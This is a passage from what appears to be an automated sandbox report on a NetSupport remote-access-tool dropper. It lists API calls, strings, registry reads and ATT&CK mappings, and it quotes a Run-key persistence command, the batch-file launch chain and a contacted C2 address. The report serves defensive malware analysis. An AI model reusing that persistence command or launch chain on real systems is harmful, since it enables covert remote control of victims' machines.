Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2c","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"bild.exe\" called \"LookupAccountSidA\" with param Name SYSTEM (UID: 00000000-00006604)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve default language settings","description":"\"123.exe\" called \"GetSystemDefaultLangID\" (UID: 00000000-00001540)","origin":"API Call","mitre_attack_id":"T1614.001","relevance":3,"id":"api-149","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"bild.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00006604)\n \"bild.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00006604)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"Info: IsWow64Process ret %d\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"SELECT * FROM %s\" (Indicator: \"select * from \"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; File: \"123.exe\")\n Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp, 00000000-00006604.00000002.109859.738D1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve configuration of a workstation (API string)","description":"Found reference to API \"NetWkstaGetInfo\" (Indicator: \"NetWkstaGetInfo\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-451","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information set for devices (API string)","description":"Found reference to API \"SetupDiGetClassDevsA\" (Indicator: \"SetupDiGetClassDevs\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1480","relevance":1,"id":"string-533","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"123.exe\")\n Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp, 00000000-00006604.00000002.109859.738D1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network parameters of a computer (API string)","description":"Found reference to API \"WNetGetConnectionA\" (Indicator: \"NetGetConnection\"; File: \"123.exe\")\n Found reference to API \"WNetGetConnectionA\" (Indicator: \"NetGetConnection\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-222","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"ver unknown\" (Indicator: \"ver \") in Source: 00000000-00006604.00000001.107938.11193000.00000002.mdmp\n Observed string: \"ver dead\" (Indicator: \"ver \") in Source: 00000000-00006604.00000001.107938.11193000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; File: \"123.exe\")\n Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; File: \"123.exe\")\n Found reference to API \"GetUserDefaultLangID\" (Indicator: \"GetUserDefaultLangID\"; File: \"123.exe\")\n Found reference to API \"GetSystemDefaultLangID\" (Indicator: \"GetSystemDefaultLangID\"; File: \"123.exe\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultLangID\" (Indicator: \"GetUserDefaultLangID\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"GetSystemDefaultLangID\" (Indicator: \"GetSystemDefaultLangID\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the current user information","description":"Observed string: \"CP Query User{7B5A7E35-6A10-4AA7-9CF3-B01563BB5A6C}C:\\program files\\mitmproxy\\bin\\mitmdump.exe\" (Indicator: \"query user\") in Source: 00000000-00006604.00000000.106018.033AD000.00000004.mdmp\n 00000000-00006604.00000001.107938.033AD000.00000004.mdmp\n 00000000-00006604.00000002.109859.033AD000.00000004.mdmp\n Observed string: \"DP Query User{504CD366-0B50-4D44-9ACA-CAF56B28D6FB}C:\\program files\\mitmproxy\\bin\\mitmdump.exe\" (Indicator: \"query user\") in Source: 00000000-00006604.00000000.106018.033AD000.00000004.mdmp\n 00000000-00006604.00000001.107938.033AD000.00000004.mdmp\n 00000000-00006604.00000002.109859.033AD000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-432","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; File: \"123.exe\")\n Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$30","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"bild.exe\" queries volume information of \"C:\\\" at 00000000-00006604-00000C15-653946210\n \"bild.exe\" queries volume information of \"C:\\\" at 00000000-00006604-00000C15-653988894\n \"bild.exe\" queries volume information of \"C:\\\" at 00000000-00006604-00000C15-657848279","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"bild.exe\" queries volume information of \"C:\\\" at 00000000-00006604-00000C15-653946210\n \"bild.exe\" queries volume information of \"C:\\\" at 00000000-00006604-00000C15-653988894\n \"bild.exe\" queries volume information of \"C:\\\" at 00000000-00006604-00000C15-657848279","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"123.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"bild.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"123.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\NETSUP.BAT\")\n \"bild.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\{3F709462-4AD7-482F-8761-C6ED6AD145A1}\")\n \"bild.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\{C412F191-BB15-4E40-9CCC-97E571D2C6BF}\")\n \"bild.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\{787DFE02-CC6C-4AAC-B455-166BBEE4C5AF}\")\n \"bild.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\{787DFE02-CC6C-4AAC-B455-166BBEE4C5AF}\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET REMOTE_ACCESS NetSupport Remote Admin Checkin\" (SID: 2035892, Rev: 8, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET REMOTE_ACCESS NetSupport Remote Admin Response\" (SID: 2035895, Rev: 8, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; File: \"123.exe\")\n Found reference to API \"EnumServicesStatusA\" (Indicator: \"EnumServicesStatus\"; File: \"123.exe\")\n Found reference to API \"OpenSCManagerA\" (Indicator: \"OpenSCManager\"; File: \"123.exe\")\n Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"OpenSCManagerA\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"EnumServicesStatusA\" (Indicator: \"EnumServicesStatus\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"123.exe\" called \"CreateDirectoryW\" with parameter C:\\Users (UID: 00000000-00001540)\n \"123.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\Public (UID: 00000000-00001540)\n \"123.exe\" called \"CreateDirectoryW\" with parameter %PUBLIC%\\Public (UID: 00000000-00001540)\n \"123.exe\" called \"CreateDirectoryW\" with parameter %PUBLIC%\\Public\\Videos (UID: 00000000-00001540)\n \"123.exe\" called \"CreateDirectoryW\" with parameter %PUBLIC%\\Public\\Videos\\Video (UID: 00000000-00001540)\n \"bild.exe\" called \"CreateDirectoryA\" with parameter %LOCALAPPDATA%\\NetSupport (UID: 00000000-00006604)\n \"bild.exe\" called \"CreateDirectoryA\" with parameter %LOCALAPPDATA%\\NetSupport\\NetSupport Manager (UID: 00000000-00006604)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"123.exe\" called \"CreateProcessW\" with parameter \"\"%PUBLIC%\\Public\\Videos\\Video\\netsup.bat\"\" - (UID: 00000000-00001540)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"REG ADD \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"Netstat\" /t REG_SZ /F /D \"%PUBLIC%\\Public\\Videos\\Video\\bi\" - (UID: 00000000-00006244), \"cmd.exe\" called \"CreateProcessW\" with parameter \"%PUBLIC%\\Public\\Videos\\Video\\bild.exe\" - (UID: 00000000-00006244), \"bild.exe\" called \"CreateProcessA\" with parameter \"\"%PUBLIC%\\Public\\Videos\\Video\\GetUserLang.exe\"\" - (UID: 00000000-00006604)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$31","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$32","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"geo.netsupportsoftware.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"45.61.128.74:443\"\n \"104.26.1.231:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"Select the group from the dropdown list below and click OK to join it\" (Source: 00000000-00006604.00000000.106018.111F6000.00000002.mdmp, Indicator: \"select the group from the dropdown list below and click ok to join it\")\n \"Select your team from the dropdown list below and click OK to join it\" (Source: 00000000-00006604.00000000.106018.111F6000.00000002.mdmp, Indicator: \"select your team from the dropdown list below and click ok to join it\")\n \"Select Control to Chat to:%Select Control(s) to disconnect from:\" (Source: 00000000-00006604.00000000.106018.111F6000.00000002.mdmp, Indicator: \"select control to chat to:%select control(s) to disconnect from:\"), \"SELECT * FROM %s\" (Source: 00000000-00006604.00000001.107938.11193000.00000002.mdmp, Indicator: \"select * from %s\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; File: \"123.exe\")\n Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; File: \"123.exe\")\n Found reference to API \"CreateProcessAsUserA\" (Indicator: \"CreateProcess\"; File: \"123.exe\")\n Found reference to API \"CreateProcess() failed:\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"launch Player, Time out on CreateProcess\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp, 00000000-00006604.00000002.109859.738D1000.00000020.mdmp\")\n Found reference to API \"CreateProcessAsUserA\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006604.00000002.109859.738D1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; File: \"123.exe\")\n Found reference to API \"RegCreateKeyExA\" (Indicator: \"RegCreateKey\"; File: \"123.exe\")\n Found reference to API \"RegCreateKeyA\" (Indicator: \"RegCreateKey\"; File: \"123.exe\")\n Found reference to API \"RegCreateKeyTransactedA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyTransactedA\" (Indicator: \"RegCreateKeyTransacted\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyExA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: remcmdstub.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: pcicapi.dll)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: PCICL32.DLL)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: TCCTL32.DLL)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: HTCTL32.DLL)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"%PUBLIC%\\Public\\Videos\\Video\\netsup.bat\" \"\" (Indicator: \"\\system32\\cmd.exe /c \"; File: \"cmd.exe\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"%PUBLIC%\\Public\\Videos\\Video\\netsup.bat\" \"\" (Indicator: \"cmd.exe /c\"; File: \"cmd.exe\")\n Found string \"cmd.exe /C start %s\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"$33","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains ability to read the PEB (Process Environment Block) structure","description":"\"sample.bin\" can read PEB structure (dword ptr fs:[00000030h]) (Offset: 147048)","origin":"Binary File","mitre_attack_id":"T1546.010","relevance":3,"id":"binary-30","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"$34","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartServiceA\" (Indicator: \"StartService\"; File: \"123.exe\")\n Found reference to API \"StartServiceCtrlDispatcherA\" (Indicator: \"StartServiceCtrlDispatcher\"; File: \"123.exe\")\n Found reference to API \"StartServiceCtrlDispatcherA\" (Indicator: \"StartService\"; File: \"123.exe\")\n Found reference to API \"StartServiceA\" (Indicator: \"StartService\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"StartServiceCtrlDispatcherA\" (Indicator: \"StartServiceCtrlDispatcher\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"StartServiceCtrlDispatcherA\" (Indicator: \"StartService\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"$35","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"Local\\SM0:1540:168:WilStaging_02\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\SM0:1540:64:WilError_01\"\n \"SM0:1540:168:WilStaging_02\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"SM0:1540:64:WilError_01\"\n \"Local\\SM0:6604:168:WilStaging_02\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"%WINDIR%\\\\system32\\\\cmd.exe /c \"\"%PUBLIC%\\\\Public\\\\Videos\\\\Video\\\\netsup.bat\" \"\" (UID: 00000000-00006244)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$36","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"123.exe\" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"bild.exe\" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"remcmdstub.exe\" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"pcicapi.dll\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"TCCTL32.DLL\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"HTCTL32.DLL\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"PCICHEK.DLL\" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\nsm_ctl32_show_%d\n Found string - \\\\.\\pipe\\nsm_vistapipe%d\n Found string - \\\\.\\pipe\\nsm_%s\n Found string - \\\\.\\pipe\\nsm_dosboxwpipe\n Found string - \\\\.\\pipe\\nsm_dosboxrpipe\n Found string - \\\\.\\pipe\\nsm_vistauipipe%d\n Found string - \\\\.\\pipe\\nsm_printpipe\n Found string - \\\\.\\pipe\\nsm_gdihook_recv\n Found string - \\\\.\\pipe\\nsm_gdihook_send","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"User-Agent: NetSupport Manager/1.3\" (Indicator: \"user-agent: \"; Source: \"00000000-00006604.00000000.106018.05400000.00000004.mdmp, 00000000-00006604.00000000.106018.73790000.00000002.mdmp, 